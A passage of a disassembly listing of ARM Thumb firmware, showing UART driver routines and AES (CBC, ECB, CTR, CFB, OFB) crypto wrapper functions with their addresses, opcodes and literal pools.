r2, #2 10103b24: 6542 str r2, [r0, #84] ; 0x54 10103b26: 6942 ldr r2, [r0, #20] 10103b28: 07d2 lsls r2, r2, #31 10103b2a: d503 bpl.n 10103b34 <UART_ClearRxFifo+0x18> 10103b2c: 3b01 subs r3, #1 10103b2e: d1fa bne.n 10103b26 <UART_ClearRxFifo+0xa> 10103b30: 4618 mov r0, r3 10103b32: 4770 bx lr 10103b34: 2301 movs r3, #1 10103b36: 4618 mov r0, r3 10103b38: 4770 bx lr 10103b3a: bf00 nop 10103b3c <UART_Init>: 10103b3c: b538 push {r3, r4, r5, lr} 10103b3e: 69cb ldr r3, [r1, #28] 10103b40: f033 03c0 bics.w r3, r3, #192 ; 0xc0 10103b44: 460d mov r5, r1 10103b46: 4604 mov r4, r0 10103b48: d003 beq.n 10103b52 <UART_Init+0x16> 10103b4a: 2183 movs r1, #131 ; 0x83 10103b4c: 4823 ldr r0, [pc, #140] ; (10103bdc <UART_Init+0xa0>) 10103b4e: f7fc fe8f bl 10100870 <io_assert_failed> 10103b52: 6a2b ldr r3, [r5, #32] 10103b54: 2b01 cmp r3, #1 10103b56: d903 bls.n 10103b60 <UART_Init+0x24> 10103b58: 2184 movs r1, #132 ; 0x84 10103b5a: 4820 ldr r0, [pc, #128] ; (10103bdc <UART_Init+0xa0>) 10103b5c: f7fc fe88 bl 10100870 <io_assert_failed> 10103b60: 6c23 ldr r3, [r4, #64] ; 0x40 10103b62: f023 0304 bic.w r3, r3, #4 10103b66: 6423 str r3, [r4, #64] ; 0x40 10103b68: 4620 mov r0, r4 10103b6a: 4b1d ldr r3, [pc, #116] ; (10103be0 <UART_Init+0xa4>) 10103b6c: 4798 blx r3 10103b6e: 2300 movs r3, #0 10103b70: 6063 str r3, [r4, #4] 10103b72: 69e3 ldr r3, [r4, #28] 10103b74: f043 0380 orr.w r3, r3, #128 ; 0x80 10103b78: 61e3 str r3, [r4, #28] 10103b7a: 69e9 ldr r1, [r5, #28] 10103b7c: 6d63 ldr r3, [r4, #84] ; 0x54 10103b7e: 6a2a ldr r2, [r5, #32] 10103b80: f023 03c1 bic.w r3, r3, #193 ; 0xc1 10103b84: 430a orrs r2, r1 10103b86: 4313 orrs r3, r2 10103b88: 69a9 ldr r1, [r5, #24] 10103b8a: 6563 str r3, [r4, #84] ; 0x54 10103b8c: 6923 ldr r3, [r4, #16] 10103b8e: 2901 cmp r1, #1 10103b90: bf0c ite eq 10103b92: f043 0322 orreq.w r3, r3, #34 ; 0x22 10103b96: f023 0322 bicne.w r3, r3, #34 ; 0x22 10103b9a: 6123 str r3, [r4, #16] 10103b9c: f105 0108 add.w r1, r5, #8 10103ba0: c906 ldmia r1, {r1, r2} 10103ba2: 686b ldr r3, [r5, #4] 10103ba4: 00d2 lsls r2, r2, #3 10103ba6: ea42 0281 orr.w r2, r2, r1, lsl #2 10103baa: 6928 ldr r0, [r5, #16] 10103bac: 4313 orrs r3, r2 10103bae: 6969 ldr r1, [r5, #20] 10103bb0: ea43 1300 orr.w r3, r3, r0, lsl #4 10103bb4: ea43 1341 orr.w r3, r3, r1, lsl #5 10103bb8: 682a ldr r2, [r5, #0] 10103bba: 60e3 str r3, [r4, #12] 10103bbc: 6d63 ldr r3, [r4, #84] ; 0x54 10103bbe: b94a cbnz r2, 10103bd4 <UART_Init+0x98> 10103bc0: f023 0308 bic.w r3, r3, #8 10103bc4: 6563 str r3, [r4, #84] ; 0x54 10103bc6: 6c23 ldr r3, [r4, #64] ; 0x40 10103bc8: 6a6a ldr r2, [r5, #36] ; 0x24 10103bca: b29b uxth r3, r3 10103bcc: ea43 4302 orr.w r3, r3, r2, lsl #16 10103bd0: 6423 str r3, [r4, #64] ; 0x40 10103bd2: bd38 pop {r3, r4, r5, pc} 10103bd4: f043 0308 orr.w r3, r3, #8 10103bd8: 6563 str r3, [r4, #84] ; 0x54 10103bda: e7f4 b.n 10103bc6 <UART_Init+0x8a> 10103bdc: 101d51e0 .word 0x101d51e0 10103be0: 10103b1d .word 0x10103b1d 10103be4 <UART_ClearTxFifo>: 10103be4: 6d43 ldr r3, [r0, #84] ; 0x54 10103be6: f043 0304 orr.w r3, r3, #4 10103bea: 6543 str r3, [r0, #84] ; 0x54 10103bec: 4770 bx lr 10103bee: bf00 nop 10103bf0 <UART_INTConfig>: 10103bf0: 6843 ldr r3, [r0, #4] 10103bf2: 2a01 cmp r2, #1 10103bf4: bf0c ite eq 10103bf6: 4319 orreq r1, r3 10103bf8: ea23 0101 bicne.w r1, r3, r1 10103bfc: 6041 str r1, [r0, #4] 10103bfe: 4770 bx lr 10103c00 <UART_IntStatus>: 10103c00: 6880 ldr r0, [r0, #8] 10103c02: 4770 bx lr 10103c04 <UART_ModemStatusGet>: 10103c04: 6980 ldr r0, [r0, #24] 10103c06: 4770 bx lr 10103c08 <UART_LineStatusGet>: 10103c08: 6940 ldr r0, [r0, #20] 10103c0a: 4770 bx lr 10103c0c <UART_WaitBusy>: 10103c0c: b5f8 push {r3, r4, r5, r6, r7, lr} 10103c0e: 4605 mov r5, r0 10103c10: 460f mov r7, r1 10103c12: 2400 movs r4, #0 10103c14: 4e05 ldr r6, [pc, #20] ; (10103c2c <UART_WaitBusy+0x20>) 10103c16: e003 b.n 10103c20 <UART_WaitBusy+0x14> 10103c18: 2064 movs r0, #100 ; 0x64 10103c1a: 47b0 blx r6 10103c1c: 42bc cmp r4, r7 10103c1e: d804 bhi.n 10103c2a <UART_WaitBusy+0x1e> 10103c20: 696b ldr r3, [r5, #20] 10103c22: 065b lsls r3, r3, #25 10103c24: f104 0401 add.w r4, r4, #1 10103c28: d5f6 bpl.n 10103c18 <UART_WaitBusy+0xc> 10103c2a: bdf8 pop {r3, r4, r5, r6, r7, pc} 10103c2c: 10100949 .word 0x10100949 10103c30 <rtl_crypto_aes_cbc_init>: 10103c30: b570 push {r4, r5, r6, lr} 10103c32: 4b10 ldr r3, [pc, #64] ; (10103c74 <rtl_crypto_aes_cbc_init+0x44>) 10103c34: 781b ldrb r3, [r3, #0] 10103c36: 2b01 cmp r3, #1 10103c38: 4604 mov r4, r0 10103c3a: 460d mov r5, r1 10103c3c: d003 beq.n 10103c46 <rtl_crypto_aes_cbc_init+0x16> 10103c3e: 2126 movs r1, #38 ; 0x26 10103c40: 480d ldr r0, [pc, #52] ; (10103c78 <rtl_crypto_aes_cbc_init+0x48>) 10103c42: f7fc fe15 bl 10100870 <io_assert_failed> 10103c46: b194 cbz r4, 10103c6e <rtl_crypto_aes_cbc_init+0x3e> 10103c48: 07a3 lsls r3, r4, #30 10103c4a: d10d bne.n 10103c68 <rtl_crypto_aes_cbc_init+0x38> 10103c4c: 2d20 cmp r5, #32 10103c4e: d808 bhi.n 10103c62 <rtl_crypto_aes_cbc_init+0x32> 10103c50: 4622 mov r2, r4 10103c52: 4c0a ldr r4, [pc, #40] ; (10103c7c <rtl_crypto_aes_cbc_init+0x4c>) 10103c54: 462b mov r3, r5 10103c56: 46a4 mov ip, r4 10103c58: 2121 movs r1, #33 ; 0x21 10103c5a: 4806 ldr r0, [pc, #24] ; (10103c74 <rtl_crypto_aes_cbc_init+0x44>) 10103c5c: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10103c60: 4760 bx ip 10103c62: f06f 0006 mvn.w r0, #6 10103c66: bd70 pop {r4, r5, r6, pc} 10103c68: f06f 0005 mvn.w r0, #5 10103c6c: bd70 pop {r4, r5, r6, pc} 10103c6e: f06f 0003 mvn.w r0, #3 10103c72: bd70 pop {r4, r5, r6, pc} 10103c74: 100003a0 .word 0x100003a0 10103c78: 101d51fc .word 0x101d51fc 10103c7c: 10105799 .word 0x10105799 10103c80 <rtl_crypto_aes_cbc_encrypt>: 10103c80: b570 push {r4, r5, r6, lr} 10103c82: b086 sub sp, #24 10103c84: 9e0a ldr r6, [sp, #40] ; 0x28 10103c86: b1d2 cbz r2, 10103cbe <rtl_crypto_aes_cbc_encrypt+0x3e> 10103c88: f012 0503 ands.w r5, r2, #3 10103c8c: d114 bne.n 10103cb8 <rtl_crypto_aes_cbc_encrypt+0x38> 10103c8e: 2b10 cmp r3, #16 10103c90: d10f bne.n 10103cb2 <rtl_crypto_aes_cbc_encrypt+0x32> 10103c92: b1a0 cbz r0, 10103cbe <rtl_crypto_aes_cbc_encrypt+0x3e> 10103c94: b19e cbz r6, 10103cbe <rtl_crypto_aes_cbc_encrypt+0x3e> 10103c96: 4614 mov r4, r2 10103c98: e88d 0028 stmia.w sp, {r3, r5} 10103c9c: 460a mov r2, r1 10103c9e: 4623 mov r3, r4 10103ca0: 4601 mov r1, r0 10103ca2: 9504 str r5, [sp, #16] 10103ca4: 9603 str r6, [sp, #12] 10103ca6: 9502 str r5, [sp, #8] 10103ca8: 4806 ldr r0, [pc, #24] ; (10103cc4 <rtl_crypto_aes_cbc_encrypt+0x44>) 10103caa: 4c07 ldr r4, [pc, #28] ; (10103cc8 <rtl_crypto_aes_cbc_encrypt+0x48>) 10103cac: 47a0 blx r4 10103cae: b006 add sp, #24 10103cb0: bd70 pop {r4, r5, r6, pc} 10103cb2: f06f 0008 mvn.w r0, #8 10103cb6: e7fa b.n 10103cae <rtl_crypto_aes_cbc_encrypt+0x2e> 10103cb8: f06f 0005 mvn.w r0, #5 10103cbc: e7f7 b.n 10103cae <rtl_crypto_aes_cbc_encrypt+0x2e> 10103cbe: f06f 0003 mvn.w r0, #3 10103cc2: e7f4 b.n 10103cae <rtl_crypto_aes_cbc_encrypt+0x2e> 10103cc4: 100003a0 .word 0x100003a0 10103cc8: 101057b9 .word 0x101057b9 10103ccc <rtl_crypto_aes_cbc_decrypt>: 10103ccc: b570 push {r4, r5, r6, lr} 10103cce: b086 sub sp, #24 10103cd0: 9e0a ldr r6, [sp, #40] ; 0x28 10103cd2: b1d2 cbz r2, 10103d0a <rtl_crypto_aes_cbc_decrypt+0x3e> 10103cd4: f012 0503 ands.w r5, r2, #3 10103cd8: d114 bne.n 10103d04 <rtl_crypto_aes_cbc_decrypt+0x38> 10103cda: 2b10 cmp r3, #16 10103cdc: d10f bne.n 10103cfe <rtl_crypto_aes_cbc_decrypt+0x32> 10103cde: b1a0 cbz r0, 10103d0a <rtl_crypto_aes_cbc_decrypt+0x3e> 10103ce0: b19e cbz r6, 10103d0a <rtl_crypto_aes_cbc_decrypt+0x3e> 10103ce2: 4614 mov r4, r2 10103ce4: e88d 0028 stmia.w sp, {r3, r5} 10103ce8: 460a mov r2, r1 10103cea: 4623 mov r3, r4 10103cec: 4601 mov r1, r0 10103cee: 9504 str r5, [sp, #16] 10103cf0: 9603 str r6, [sp, #12] 10103cf2: 9502 str r5, [sp, #8] 10103cf4: 4806 ldr r0, [pc, #24] ; (10103d10 <rtl_crypto_aes_cbc_decrypt+0x44>) 10103cf6: 4c07 ldr r4, [pc, #28] ; (10103d14 <rtl_crypto_aes_cbc_decrypt+0x48>) 10103cf8: 47a0 blx r4 10103cfa: b006 add sp, #24 10103cfc: bd70 pop {r4, r5, r6, pc} 10103cfe: f06f 0008 mvn.w r0, #8 10103d02: e7fa b.n 10103cfa <rtl_crypto_aes_cbc_decrypt+0x2e> 10103d04: f06f 0005 mvn.w r0, #5 10103d08: e7f7 b.n 10103cfa <rtl_crypto_aes_cbc_decrypt+0x2e> 10103d0a: f06f 0003 mvn.w r0, #3 10103d0e: e7f4 b.n 10103cfa <rtl_crypto_aes_cbc_decrypt+0x2e> 10103d10: 100003a0 .word 0x100003a0 10103d14: 101057e9 .word 0x101057e9 10103d18 <rtl_crypto_aes_ecb_init>: 10103d18: b570 push {r4, r5, r6, lr} 10103d1a: 4b10 ldr r3, [pc, #64] ; (10103d5c <rtl_crypto_aes_ecb_init+0x44>) 10103d1c: 781b ldrb r3, [r3, #0] 10103d1e: 2b01 cmp r3, #1 10103d20: 4604 mov r4, r0 10103d22: 460d mov r5, r1 10103d24: d003 beq.n 10103d2e <rtl_crypto_aes_ecb_init+0x16> 10103d26: 2171 movs r1, #113 ; 0x71 10103d28: 480d ldr r0, [pc, #52] ; (10103d60 <rtl_crypto_aes_ecb_init+0x48>) 10103d2a: f7fc fda1 bl 10100870 <io_assert_failed> 10103d2e: b194 cbz r4, 10103d56 <rtl_crypto_aes_ecb_init+0x3e> 10103d30: 07a3 lsls r3, r4, #30 10103d32: d10d bne.n 10103d50 <rtl_crypto_aes_ecb_init+0x38> 10103d34: 2d20 cmp r5, #32 10103d36: d808 bhi.n 10103d4a <rtl_crypto_aes_ecb_init+0x32> 10103d38: 4622 mov r2, r4 10103d3a: 4c0a ldr r4, [pc, #40] ; (10103d64 <rtl_crypto_aes_ecb_init+0x4c>) 10103d3c: 462b mov r3, r5 10103d3e: 46a4 mov ip, r4 10103d40: 2120 movs r1, #32 10103d42: 4806 ldr r0, [pc, #24] ; (10103d5c <rtl_crypto_aes_ecb_init+0x44>) 10103d44: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10103d48: 4760 bx ip 10103d4a: f06f 0006 mvn.w r0, #6 10103d4e: bd70 pop {r4, r5, r6, pc} 10103d50: f06f 0005 mvn.w r0, #5 10103d54: bd70 pop {r4, r5, r6, pc} 10103d56: f06f 0003 mvn.w r0, #3 10103d5a: bd70 pop {r4, r5, r6, pc} 10103d5c: 100003a0 .word 0x100003a0 10103d60: 101d525c .word 0x101d525c 10103d64: 10105799 .word 0x10105799 10103d68 <rtl_crypto_aes_ecb_encrypt>: 10103d68: b570 push {r4, r5, r6, lr} 10103d6a: b086 sub sp, #24 10103d6c: 9e0a ldr r6, [sp, #40] ; 0x28 10103d6e: b178 cbz r0, 10103d90 <rtl_crypto_aes_ecb_encrypt+0x28> 10103d70: b176 cbz r6, 10103d90 <rtl_crypto_aes_ecb_encrypt+0x28> 10103d72: 461c mov r4, r3 10103d74: 2500 movs r5, #0 10103d76: 4613 mov r3, r2 10103d78: 9400 str r4, [sp, #0] 10103d7a: 460a mov r2, r1 10103d7c: 9603 str r6, [sp, #12] 10103d7e: 4601 mov r1, r0 10103d80: 9504 str r5, [sp, #16] 10103d82: 9502 str r5, [sp, #8] 10103d84: 9501 str r5, [sp, #4] 10103d86: 4804 ldr r0, [pc, #16] ; (10103d98 <rtl_crypto_aes_ecb_encrypt+0x30>) 10103d88: 4c04 ldr r4, [pc, #16] ; (10103d9c <rtl_crypto_aes_ecb_encrypt+0x34>) 10103d8a: 47a0 blx r4 10103d8c: b006 add sp, #24 10103d8e: bd70 pop {r4, r5, r6, pc} 10103d90: f06f 0003 mvn.w r0, #3 10103d94: e7fa b.n 10103d8c <rtl_crypto_aes_ecb_encrypt+0x24> 10103d96: bf00 nop 10103d98: 100003a0 .word 0x100003a0 10103d9c: 101057b9 .word 0x101057b9 10103da0 <rtl_crypto_aes_ecb_decrypt>: 10103da0: b570 push {r4, r5, r6, lr} 10103da2: b086 sub sp, #24 10103da4: 9e0a ldr r6, [sp, #40] ; 0x28 10103da6: b178 cbz r0, 10103dc8 <rtl_crypto_aes_ecb_decrypt+0x28> 10103da8: b176 cbz r6, 10103dc8 <rtl_crypto_aes_ecb_decrypt+0x28> 10103daa: 461c mov r4, r3 10103dac: 2500 movs r5, #0 10103dae: 4613 mov r3, r2 10103db0: 9400 str r4, [sp, #0] 10103db2: 460a mov r2, r1 10103db4: 9603 str r6, [sp, #12] 10103db6: 4601 mov r1, r0 10103db8: 9504 str r5, [sp, #16] 10103dba: 9502 str r5, [sp, #8] 10103dbc: 9501 str r5, [sp, #4] 10103dbe: 4804 ldr r0, [pc, #16] ; (10103dd0 <rtl_crypto_aes_ecb_decrypt+0x30>) 10103dc0: 4c04 ldr r4, [pc, #16] ; (10103dd4 <rtl_crypto_aes_ecb_decrypt+0x34>) 10103dc2: 47a0 blx r4 10103dc4: b006 add sp, #24 10103dc6: bd70 pop {r4, r5, r6, pc} 10103dc8: f06f 0003 mvn.w r0, #3 10103dcc: e7fa b.n 10103dc4 <rtl_crypto_aes_ecb_decrypt+0x24> 10103dce: bf00 nop 10103dd0: 100003a0 .word 0x100003a0 10103dd4: 101057e9 .word 0x101057e9 10103dd8 <rtl_crypto_aes_ctr_init>: 10103dd8: b570 push {r4, r5, r6, lr} 10103dda: 4b10 ldr r3, [pc, #64] ; (10103e1c <rtl_crypto_aes_ctr_init+0x44>) 10103ddc: 781b ldrb r3, [r3, #0] 10103dde: 2b01 cmp r3, #1 10103de0: 4604 mov r4, r0 10103de2: 460d mov r5, r1 10103de4: d003 beq.n 10103dee <rtl_crypto_aes_ctr_init+0x16> 10103de6: 21b6 movs r1, #182 ; 0xb6 10103de8: 480d ldr r0, [pc, #52] ; (10103e20 <rtl_crypto_aes_ctr_init+0x48>) 10103dea: f7fc fd41 bl 10100870 <io_assert_failed> 10103dee: b194 cbz r4, 10103e16 <rtl_crypto_aes_ctr_init+0x3e> 10103df0: 07a3 lsls r3, r4, #30 10103df2: d10d bne.n 10103e10 <rtl_crypto_aes_ctr_init+0x38> 10103df4: 2d20 cmp r5, #32 10103df6: d808 bhi.n 10103e0a <rtl_crypto_aes_ctr_init+0x32> 10103df8: 4622 mov r2, r4 10103dfa: 4c0a ldr r4, [pc, #40] ; (10103e24 <rtl_crypto_aes_ctr_init+0x4c>) 10103dfc: 462b mov r3, r5 10103dfe: 46a4 mov ip, r4 10103e00: 2124 movs r1, #36 ; 0x24 10103e02: 4806 ldr r0, [pc, #24] ; (10103e1c <rtl_crypto_aes_ctr_init+0x44>) 10103e04: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10103e08: 4760 bx ip 10103e0a: f06f 0006 mvn.w r0, #6 10103e0e: bd70 pop {r4, r5, r6, pc} 10103e10: f06f 0005 mvn.w r0, #5 10103e14: bd70 pop {r4, r5, r6, pc} 10103e16: f06f 0003 mvn.w r0, #3 10103e1a: bd70 pop {r4, r5, r6, pc} 10103e1c: 100003a0 .word 0x100003a0 10103e20: 101d5214 .word 0x101d5214 10103e24: 10105799 .word 0x10105799 10103e28 <rtl_crypto_aes_ctr_encrypt>: 10103e28: b570 push {r4, r5, r6, lr} 10103e2a: b086 sub sp, #24 10103e2c: 9e0a ldr r6, [sp, #40] ; 0x28 10103e2e: b1aa cbz r2, 10103e5c <rtl_crypto_aes_ctr_encrypt+0x34> 10103e30: f012 0503 ands.w r5, r2, #3 10103e34: d10f bne.n 10103e56 <rtl_crypto_aes_ctr_encrypt+0x2e> 10103e36: b188 cbz r0, 10103e5c <rtl_crypto_aes_ctr_encrypt+0x34> 10103e38: b186 cbz r6, 10103e5c <rtl_crypto_aes_ctr_encrypt+0x34> 10103e3a: 4614 mov r4, r2 10103e3c: e88d 0028 stmia.w sp, {r3, r5} 10103e40: 460a mov r2, r1 10103e42: 4623 mov r3, r4 10103e44: 4601 mov r1, r0 10103e46: 9504 str r5, [sp, #16] 10103e48: 9603 str r6, [sp, #12] 10103e4a: 9502 str r5, [sp, #8] 10103e4c: 4805 ldr r0, [pc, #20] ; (10103e64 <rtl_crypto_aes_ctr_encrypt+0x3c>) 10103e4e: 4c06 ldr r4, [pc, #24] ; (10103e68 <rtl_crypto_aes_ctr_encrypt+0x40>) 10103e50: 47a0 blx r4 10103e52: b006 add sp, #24 10103e54: bd70 pop {r4, r5, r6, pc} 10103e56: f06f 0005 mvn.w r0, #5 10103e5a: e7fa b.n 10103e52 <rtl_crypto_aes_ctr_encrypt+0x2a> 10103e5c: f06f 0003 mvn.w r0, #3 10103e60: e7f7 b.n 10103e52 <rtl_crypto_aes_ctr_encrypt+0x2a> 10103e62: bf00 nop 10103e64: 100003a0 .word 0x100003a0 10103e68: 101057b9 .word 0x101057b9 10103e6c <rtl_crypto_aes_ctr_decrypt>: 10103e6c: b570 push {r4, r5, r6, lr} 10103e6e: b086 sub sp, #24 10103e70: 9e0a ldr r6, [sp, #40] ; 0x28 10103e72: b1aa cbz r2, 10103ea0 <rtl_crypto_aes_ctr_decrypt+0x34> 10103e74: f012 0503 ands.w r5, r2, #3 10103e78: d10f bne.n 10103e9a <rtl_crypto_aes_ctr_decrypt+0x2e> 10103e7a: b188 cbz r0, 10103ea0 <rtl_crypto_aes_ctr_decrypt+0x34> 10103e7c: b186 cbz r6, 10103ea0 <rtl_crypto_aes_ctr_decrypt+0x34> 10103e7e: 4614 mov r4, r2 10103e80: e88d 0028 stmia.w sp, {r3, r5} 10103e84: 460a mov r2, r1 10103e86: 4623 mov r3, r4 10103e88: 4601 mov r1, r0 10103e8a: 9504 str r5, [sp, #16] 10103e8c: 9603 str r6, [sp, #12] 10103e8e: 9502 str r5, [sp, #8] 10103e90: 4805 ldr r0, [pc, #20] ; (10103ea8 <rtl_crypto_aes_ctr_decrypt+0x3c>) 10103e92: 4c06 ldr r4, [pc, #24] ; (10103eac <rtl_crypto_aes_ctr_decrypt+0x40>) 10103e94: 47a0 blx r4 10103e96: b006 add sp, #24 10103e98: bd70 pop {r4, r5, r6, pc} 10103e9a: f06f 0005 mvn.w r0, #5 10103e9e: e7fa b.n 10103e96 <rtl_crypto_aes_ctr_decrypt+0x2a> 10103ea0: f06f 0003 mvn.w r0, #3 10103ea4: e7f7 b.n 10103e96 <rtl_crypto_aes_ctr_decrypt+0x2a> 10103ea6: bf00 nop 10103ea8: 100003a0 .word 0x100003a0 10103eac: 101057e9 .word 0x101057e9 10103eb0 <rtl_crypto_aes_cfb_init>: 10103eb0: b570 push {r4, r5, r6, lr} 10103eb2: 4b10 ldr r3, [pc, #64] ; (10103ef4 <rtl_crypto_aes_cfb_init+0x44>) 10103eb4: 781b ldrb r3, [r3, #0] 10103eb6: 2b01 cmp r3, #1 10103eb8: 4604 mov r4, r0 10103eba: 460d mov r5, r1 10103ebc: d003 beq.n 10103ec6 <rtl_crypto_aes_cfb_init+0x16> 10103ebe: 21fe movs r1, #254 ; 0xfe 10103ec0: 480d ldr r0, [pc, #52] ; (10103ef8 <rtl_crypto_aes_cfb_init+0x48>) 10103ec2: f7fc fcd5 bl 10100870 <io_assert_failed> 10103ec6: b194 cbz r4, 10103eee <rtl_crypto_aes_cfb_init+0x3e> 10103ec8: 07a3 lsls r3, r4, #30 10103eca: d10d bne.n 10103ee8 <rtl_crypto_aes_cfb_init+0x38> 10103ecc: 2d20 cmp r5, #32 10103ece: d808 bhi.n 10103ee2 <rtl_crypto_aes_cfb_init+0x32> 10103ed0: 4622 mov r2, r4 10103ed2: 4c0a ldr r4, [pc, #40] ; (10103efc <rtl_crypto_aes_cfb_init+0x4c>) 10103ed4: 462b mov r3, r5 10103ed6: 46a4 mov ip, r4 10103ed8: 2122 movs r1, #34 ; 0x22 10103eda: 4806 ldr r0, [pc, #24] ; (10103ef4 <rtl_crypto_aes_cfb_init+0x44>) 10103edc: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10103ee0: 4760 bx ip 10103ee2: f06f 0006 mvn.w r0, #6 10103ee6: bd70 pop {r4, r5, r6, pc} 10103ee8: f06f 0005 mvn.w r0, #5 10103eec: bd70 pop {r4, r5, r6, pc} 10103eee: f06f 0003 mvn.w r0, #3 10103ef2: bd70 pop {r4, r5, r6, pc} 10103ef4: 100003a0 .word 0x100003a0 10103ef8: 101d5274 .word 0x101d5274 10103efc: 10105799 .word 0x10105799 10103f00 <rtl_crypto_aes_cfb_encrypt>: 10103f00: b570 push {r4, r5, r6, lr} 10103f02: b086 sub sp, #24 10103f04: 9e0a ldr r6, [sp, #40] ; 0x28 10103f06: b1aa cbz r2, 10103f34 <rtl_crypto_aes_cfb_encrypt+0x34> 10103f08: f012 0503 ands.w r5, r2, #3 10103f0c: d10f bne.n 10103f2e <rtl_crypto_aes_cfb_encrypt+0x2e> 10103f0e: b188 cbz r0, 10103f34 <rtl_crypto_aes_cfb_encrypt+0x34> 10103f10: b186 cbz r6, 10103f34 <rtl_crypto_aes_cfb_encrypt+0x34> 10103f12: 4614 mov r4, r2 10103f14: e88d 0028 stmia.w sp, {r3, r5} 10103f18: 460a mov r2, r1 10103f1a: 4623 mov r3, r4 10103f1c: 4601 mov r1, r0 10103f1e: 9504 str r5, [sp, #16] 10103f20: 9603 str r6, [sp, #12] 10103f22: 9502 str r5, [sp, #8] 10103f24: 4805 ldr r0, [pc, #20] ; (10103f3c <rtl_crypto_aes_cfb_encrypt+0x3c>) 10103f26: 4c06 ldr r4, [pc, #24] ; (10103f40 <rtl_crypto_aes_cfb_encrypt+0x40>) 10103f28: 47a0 blx r4 10103f2a: b006 add sp, #24 10103f2c: bd70 pop {r4, r5, r6, pc} 10103f2e: f06f 0005 mvn.w r0, #5 10103f32: e7fa b.n 10103f2a <rtl_crypto_aes_cfb_encrypt+0x2a> 10103f34: f06f 0003 mvn.w r0, #3 10103f38: e7f7 b.n 10103f2a <rtl_crypto_aes_cfb_encrypt+0x2a> 10103f3a: bf00 nop 10103f3c: 100003a0 .word 0x100003a0 10103f40: 101057b9 .word 0x101057b9 10103f44 <rtl_crypto_aes_cfb_decrypt>: 10103f44: b570 push {r4, r5, r6, lr} 10103f46: b086 sub sp, #24 10103f48: 9e0a ldr r6, [sp, #40] ; 0x28 10103f4a: b1aa cbz r2, 10103f78 <rtl_crypto_aes_cfb_decrypt+0x34> 10103f4c: f012 0503 ands.w r5, r2, #3 10103f50: d10f bne.n 10103f72 <rtl_crypto_aes_cfb_decrypt+0x2e> 10103f52: b188 cbz r0, 10103f78 <rtl_crypto_aes_cfb_decrypt+0x34> 10103f54: b186 cbz r6, 10103f78 <rtl_crypto_aes_cfb_decrypt+0x34> 10103f56: 4614 mov r4, r2 10103f58: e88d 0028 stmia.w sp, {r3, r5} 10103f5c: 460a mov r2, r1 10103f5e: 4623 mov r3, r4 10103f60: 4601 mov r1, r0 10103f62: 9504 str r5, [sp, #16] 10103f64: 9603 str r6, [sp, #12] 10103f66: 9502 str r5, [sp, #8] 10103f68: 4805 ldr r0, [pc, #20] ; (10103f80 <rtl_crypto_aes_cfb_decrypt+0x3c>) 10103f6a: 4c06 ldr r4, [pc, #24] ; (10103f84 <rtl_crypto_aes_cfb_decrypt+0x40>) 10103f6c: 47a0 blx r4 10103f6e: b006 add sp, #24 10103f70: bd70 pop {r4, r5, r6, pc} 10103f72: f06f 0005 mvn.w r0, #5 10103f76: e7fa b.n 10103f6e <rtl_crypto_aes_cfb_decrypt+0x2a> 10103f78: f06f 0003 mvn.w r0, #3 10103f7c: e7f7 b.n 10103f6e <rtl_crypto_aes_cfb_decrypt+0x2a> 10103f7e: bf00 nop 10103f80: 100003a0 .word 0x100003a0 10103f84: 101057e9 .word 0x101057e9 10103f88 <rtl_crypto_aes_ofb_init>: 10103f88: b570 push {r4, r5, r6, lr} 10103f8a: 4b11 ldr r3, [pc, #68] ; (10103fd0 <rtl_crypto_aes_ofb_init+0x48>) 10103f8c: 781b ldrb r3, [r3, #0] 10103f8e: 2b01 cmp r3, #1 10103f90: 4604 mov r4, r0 10103f92: 460d mov r5, r1 10103f94: d004 beq.n 10103fa0 <rtl_crypto_aes_ofb_init+0x18> 10103f96: f44f 71a3 mov.w r1, #326 ; 0x146 10103f9a: 480e ldr r0, [pc, #56] ; (10103fd4 <rtl_crypto_aes_ofb_init+0x4c>) 10103f9c: f7fc fc68 bl 10100870 <io_assert_failed> 10103fa0: b194 cbz r4, 10103fc8 <rtl_crypto_aes_ofb_init+0x40> 10103fa2: 07a3 lsls r3, r4, #30 10103fa4: d10d bne.n 10103fc2 <rtl_crypto_aes_ofb_init+0x3a> 10103fa6: 2d20 cmp r5, #32 10103fa8: d808 bhi.n 10103fbc <rtl_crypto_aes_ofb_init+0x34> 10103faa: 4622 mov r2, r4 10103fac: 4c0a ldr r4, [pc, #40] ; (10103fd8 <rtl_crypto_aes_ofb_init+0x50>) 10103fae: 462b mov r3, r5 10103fb0: 46a4 mov ip, r4 10103fb2: 2123 movs r1, #35 ; 0x23 10103fb4: 4806 ldr r0, [pc, #24] ; (10103fd0 <rtl_crypto_aes_ofb_init+0x48>) 10103fb6: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10103fba: 4760 bx ip 10103fbc: f06f 0006 mvn.w r0, #6 10103fc0: bd70 pop {r4, r5, r6, pc} 10103fc2: f06f 0005 mvn.w r0, #5 10103fc6: bd70 pop {r4, r5, r6, pc} 10103fc8: f06f 0003 mvn.w r0, #3 10103fcc: bd70 pop {r4, r5, r6, pc} 10103fce: bf00 nop 10103fd0: 100003a0 .word 0x100003a0 10103fd4: 101d522c .word 0x101d522c 10103fd8: 10105799 .word 0x10105799 10103fdc <rtl_crypto_aes_ofb_encrypt>: 10103fdc: b570 push {r4, r5, r6, lr} 10103fde: b086 sub sp, #24 10103fe0: 9e0a ldr r6, [sp, #40] ; 0x28 10103fe2: b1aa cbz r2, 10104010 <rtl_crypto_aes_ofb_encrypt+0x34> 10103fe4: f012 0503 ands.w r5, r2, #3 10103fe8: d10f bne.n 1010400a <rtl_crypto_aes_ofb_encrypt+0x2e> 10103fea: b188 cbz r0, 10104010 <rtl_crypto_aes_ofb_encrypt+0x34> 10103fec: b186 cbz r6, 10104010 <rtl_crypto_aes_ofb_encrypt+0x34> 10103fee: 4614 mov r4, r2 10103ff0: e88d 0028 stmia.w sp, {r3, r5} 10103ff4: 460a mov r2, r1 10103ff6: 4623 mov r3, r4 10103ff8: 4601 mov r1, r0 10103ffa: 9504 str r5, [sp, #16] 10103ffc: 9603 str r6, [sp, #12] 10103ffe: 9502 str r5, [sp, #8] 10104000: 4805 ldr r0, [pc, #20] ; (10104018 <rtl_crypto_aes_ofb_encrypt+0x3c>) 10104002: 4c06 ldr r4, [pc, #24] ; (1010401c <rtl_crypto_aes_ofb_encrypt+0x40>) 10104004: 47a0 blx r4 10104006: b006 add sp, #24 10104008: bd70 pop {r4, r5, r6, pc} 1010400a: f06f 0005 mvn.w r0, 